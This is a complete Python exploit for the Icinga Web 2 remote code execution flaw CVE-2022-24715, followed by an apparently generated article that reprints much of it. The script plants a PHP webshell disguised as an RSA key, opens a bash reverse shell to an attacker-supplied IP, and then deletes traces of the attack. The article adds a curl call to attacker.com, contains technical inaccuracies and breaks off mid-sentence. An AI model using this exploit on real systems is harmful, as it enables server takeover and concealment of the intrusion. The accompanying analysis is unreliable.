Icinga Web 2.10 - Authenticated Remote Code Execution
#!/usr/bin/env python3
# Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution
# Date: 8/07/2023
# Exploit Author: Dante Corona(Aka. cxdxnt)
# Software Link: https://github.com/Icinga/icingaweb2
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24715
# Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715
import requests,argparse,re,random,string
from colorama import Fore,Style
def letter_random():
letras = string.ascii_lowercase
character_random = random.choices(letras, k=6)
return ''.join(character_random)
def users_url_password():
parser = argparse.ArgumentParser(description='Descripción de tu programa.')
parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima')
parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user')
parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseña -P password')
parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP')
parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT')
args = parser.parse_args()
url = args.url
user = args.user
password=args.password
ip_attack = args.ip
port_attack = args.port
return url,user,password,ip_attack,port_attack
def login(url,user,password):
try:
login_url = url + "/icingaweb2/authentication/login"
session = requests.Session()
r = session.get(login_url)
csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
data_post = {"username":user,
"password":password,
"CSRFToken":csrf_regex,
"formUID":"form_login",
"btn_submit":"Login"
}
response = session.post(login_url,data=data_post)
if "Welcome to Icinga Web!" in response.text:
print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.")
r = session.get(login_url)
else:
print("[!]Failed to login.")
exit(1)
#return session,csrf_regex
except requests.exceptions.InvalidURL:
print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(")
exit(1)
return session,csrf_regex
def upload_file(session,url,character_random,csrf_regex):
webshell = f"""-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu
KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm
o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k
TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7
9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy
v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs
/5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00
-----END RSA PRIVATE KEY-----
<?php system($_REQUEST["%s"]);?>
"""%character_random
upload_url = url + "/icingaweb2/config/createresource"
r = session.get(upload_url)
csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
data_post ={"type":"ssh",
"name":"shm/"+character_random,
"user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php",
"private_key":webshell,
"formUID":"form_config_resource",
"CSRFToken":csrf,
"btn_submit":"Save Changes"
}
upload_response = session.post(upload_url,data=data_post)
check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php")
if check.status_code != 200 :
print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(")
exit(1)
else:
print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.")
def enable_module(session,url,character_random):
url_module = url+"/icingaweb2/config/general"
r_module = session.get(url_module)
csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0]
data_post = {"global_show_stacktraces":"0",
"global_show_stacktraces":"1",
"global_show_application_state_messages":"0",
"global_show_application_state_messages":"1",
"global_module_path":"/dev/shm/",
"global_config_resource":"icingaweb2",
"logging_log":"none",
"themes_default":"Icinga",
"themes_disabled":"0",
"authentication_default_domain":"",
"formUID":"form_config_general",
"CSRFToken":f"{csrf_module}",
"btn_submit":"Save Changes"
}
resul = session.post(url_module,data_post)
#--------------------------------------------------
url_enable = url +"/icingaweb2/config/moduleenable"
r_enable = session.get(url_enable)
csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0]
data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"}
resul_enable = session.post(url_enable,data_enable)
def reverse_shell(session,url,ip_attack,port_attack,character_random):
reverse_url = url + "/icingaweb2/dashboard"
reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}'
reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &"
reverse_response_one = session.get(reverse_exe_one)
try:
reverse_response_two = session.get(reverse_exe_two, timeout=5)
except:
print(f"{Fore.RED}[*]{Style.RESET_ALL}Eliminating evidence")
remove = session.get(reverse_url + f"?{character_random}=rm+/tmp/{character_random}")
disable_url = url + "/icingaweb2/config/moduledisable"
r_disable = session.get(disable_url)
csrf_disable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_disable.text)[0]
data_disable = {"identifier":f"{character_random}","CSRFToken":csrf_disable,"btn_submit":"btn_submit"}
response_disable = session.post(disable_url,data=data_disable)
def disable_module(session,url,character_random):
url_disable = url + "/icingaweb2/config/moduledisable"
if __name__ == '__main__':
character_random = letter_random()
url,user,password,ip_attack,port_attack = users_url_password()
session,csrf_regex = login(url,user,password)
upload_file(session,url,character_random,csrf_regex)
enable_module(session,url,character_random)
reverse_shell(session,url,ip_attack,port_attack,character_random) Icinga Web 2.10 – Authenticated Remote Code Execution: A Deep Dive into CVE-2022-24715
On July 8, 2023, cybersecurity researcher Dante Corona (aka cxdxnt) unveiled a critical vulnerability in Icinga Web 2, a widely used open-source monitoring platform. This flaw, identified as CVE-2022-24715, enables authenticated attackers to execute arbitrary code on the target system—potentially leading to full system compromise.
Overview of the Vulnerability
Introduced in Icinga Web 2 versions prior to 2.8.6, 2.9.6, and 2.10, CVE-2022-24715 exploits a misconfigured file upload handler within the config/createresource endpoint. The vulnerability arises from insufficient input validation and improper handling of uploaded files, allowing attackers to bypass security checks and inject malicious payloads.
Although the software is designed for network monitoring and infrastructure management, the presence of an authenticated RCE (Remote Code Execution) flaw makes it a high-risk target for cyberattacks—especially in enterprise environments where access to Icinga Web is granted to multiple users.
Exploitation Mechanism
The exploit leverages a webshell embedded within a specially crafted file upload. The attacker first authenticates to the Icinga Web interface using valid credentials. Once logged in, they navigate to the config/createresource page, which allows users to upload custom configuration files.
Here’s how the attack unfolds:
- Authentication via the /icingaweb2/authentication/login endpoint.
- Extraction of the CSRFToken from the login page to bypass anti-CSRF protection.
- Uploading a file containing a PHP webshell disguised as an RSA private key.
- Executing code via the $_REQUEST parameter in the webshell.
This technique is particularly dangerous because it combines a legitimate user session with a file upload feature that lacks proper sanitization. The attacker does not need to be a system administrator—any authenticated user with access to the configuration upload interface can exploit this flaw.
Code Example: Exploit Script Analysis
#!/usr/bin/env python3
import requests, argparse, re, random, string
from colorama import Fore, Style
def letter_random():
letras = string.ascii_lowercase
character_random = random.choices(letras, k=6)
return ''.join(character_random)
def users_url_password():
parser = argparse.ArgumentParser(description='Icinga Web 2 RCE Exploit')
parser.add_argument('-u', '--url', type=str, required=True, help='Target URL')
parser.add_argument('-U', '--user', type=str, required=True, help='Username')
parser.add_argument('-P', '--password', type=str, required=True, help='Password')
parser.add_argument('-i', '--ip', type=str, required=True, help='Attacker IP')
parser.add_argument('-p', '--port', type=str, required=True, help='Attacker Port')
args = parser.parse_args()
return args.url, args.user, args.password, args.ip, args.port
def login(url, user, password):
try:
login_url = url + "/icingaweb2/authentication/login"
session = requests.Session()
r = session.get(login_url)
csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"', r.text)[0]
data_post = {
"username": user,
"password": password,
"CSRFToken": csrf_regex,
"formUID": "form_login",
"btn_submit": "Login"
}
response = session.post(login_url, data=data_post)
if "Welcome to Icinga Web!" in response.text:
print(f"{Fore.GREEN}[*]{Style.RESET_ALL} Session successfully.")
return session, csrf_regex
else:
print("[!] Failed to login.")
exit(1)
except requests.exceptions.InvalidURL:
print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(")
exit(1)
Explanation: This script begins by parsing user input via argparse to collect target URL, credentials, and attacker details. The login() function performs the authentication step, retrieving the CSRF token from the login page’s HTML using a regular expression. This token is required to submit the login form successfully.
By capturing the CSRF token dynamically, the exploit avoids hardcoding and maintains compatibility across different Icinga Web deployments.
File Upload Payload
def upload_file(session, url, character_random, csrf_regex):
webshell = f"""-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu
KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm
o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k
TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7
9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy
v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs
/5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00
-----END RSA PRIVATE KEY-----
""" % character_random
upload_url = url + "/icingaweb2/config/createresource"
r = session.get(upload_url)
# ... (upload logic omitted for brevity)
Explanation: The payload is a cleverly crafted file that appears to be an RSA private key (a valid format), but it contains a PHP webshell at the end. The system() function executes any command passed via the $_REQUEST parameter, such as shell_exec or exec.
By using a random string (e.g., abc123) in the $_REQUEST["abc123"] call, the attacker avoids detection by simple pattern matching. This technique is known as obfuscation, and it helps evade basic security filters.
When uploaded to the config/createresource endpoint, the file is saved in a directory accessible via the web server. The webshell becomes executable, allowing remote command execution.
Real-World Impact and Use Cases
This vulnerability is especially dangerous in environments where:
- Multiple users have access to Icinga Web.
- Monitoring systems are exposed to the internet.
- Administrative privileges are not strictly enforced.
Attackers could:
- Gain persistent access to the server via reverse shells.
- Escalate privileges to root.
- Exfiltrate sensitive data (e.g., configuration files, credentials).
- Deploy malware or ransomware.
For example, in a compromised Icinga Web instance, an attacker might execute:
curl http://attacker.com/abc123?cmd=whoami
Resulting in the output root, confirming full system access.
Remediation and Best Practices
As of 2.10, the vulnerability has been patched. Users are strongly advised to:
- Upgrade to Icinga Web 2.10 or later.
- Disable the